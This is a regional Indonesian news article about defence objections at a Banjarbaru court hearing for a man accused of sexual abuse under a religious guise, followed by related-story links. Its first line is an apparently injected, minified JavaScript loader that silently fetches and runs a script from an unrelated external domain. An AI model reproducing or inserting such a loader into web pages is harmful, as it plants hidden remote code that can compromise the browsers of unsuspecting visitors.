(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Kuasa hukum Abah Itab, tersangka kasus perkara pidana pencabulan berkedok agama menyampaikan 2 eksepsi saat sidang lanjutan di Pengadilan Negeri (PN) Banjarbaru, Rabu (11/4) pukul 10.00 Wita.
Pada agenda sidang sebelumnya dengan pembacaan dakwaan, Abah Itab didakwa dengan 3 pasal sekaligus yaitu pasal 81 ayat 2 Undang-Undang Perlindungan Anak, Pasal 82 Ayat 1 dan Pasal 293 ayat 1 KUHP oleh Jaksa Penuntut Umum.
Menanggapi hal itu, kuasa hukum Abdul Hamid SH MH langsung mengajukan eksespsi. Pada penyampaian eksepsi terdakwa mengajukan keberatan berupa kompetensi relatif, Pengadilan Negeri Banjarbaru tidak berwenang memeriksa dan mengadili perkara ini.
Eksepsi yang kedua yaitu dakwaan Jaksa Penuntut Umum kabur karena tidak memenuhi unsur bahwa korban anak di bawah umur.
Seperti yang diketahui tersangka Abah Itab ditangkap oleh jajaran Polres Banjarbaru di kediaman Jalan KH Anang Sya’rani Arif, Kampung Melayu Tengah, Kecamatan Martapura Timur, Kabupaten Banjar Kamis 24 Januari setelah menerima laporan dari korban yang dicabuli berinisial M (20).
Menurut Abdul Hamid, seharusnya Pengadilan Negeri Martapura yang berhak mengadili kliennya karena penangkapan dilakukan di Kampung Melayu, Kecamatan Martapura Timur dan para saksi juga bertempat tinggal di Martapura. Selain itu kuasa hukum terdakwa juga memastikan kliennya melakukan tindak asusila kepada korban dengan status dewasa.
Menanggapi eksepsi kuasa hukum terdakwa, ditemui di Kantor Kejaksaan Negeri Banjarbaru, Kasi Pidum Imam Cahyono kepada Kanal Kalimantan, untuk agenda minggu depan pihaknya telah siap mematahkan eksepsi yang diajukan penasehat hukum terdakwa
“Sidang pekan depan kita akan lakukan jawaban eksepsi dan kita akan tunjukan bahwa eksepsi penasehat hukum terdakwa salah,†tegasnya.(rico)
KANALKALIMANTAN.COM, BANJARBARU - Persiapan pencalonan bakal pasangam calon (Paslon) melalui jalur dukungan perseorangan telah dibuka… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Timur menangkap seorang lelaki inisial AH (48) karena… Read More
KANALKALIMANTAN.COM, AMUNTAI - Obyek wisata situs Candi Agung Amuntai kerap dikunjungi wisatawan dari dalam maupun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Empat nama masuk dalam penjaringan bakal calon kepala daerah di Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More
This website uses cookies.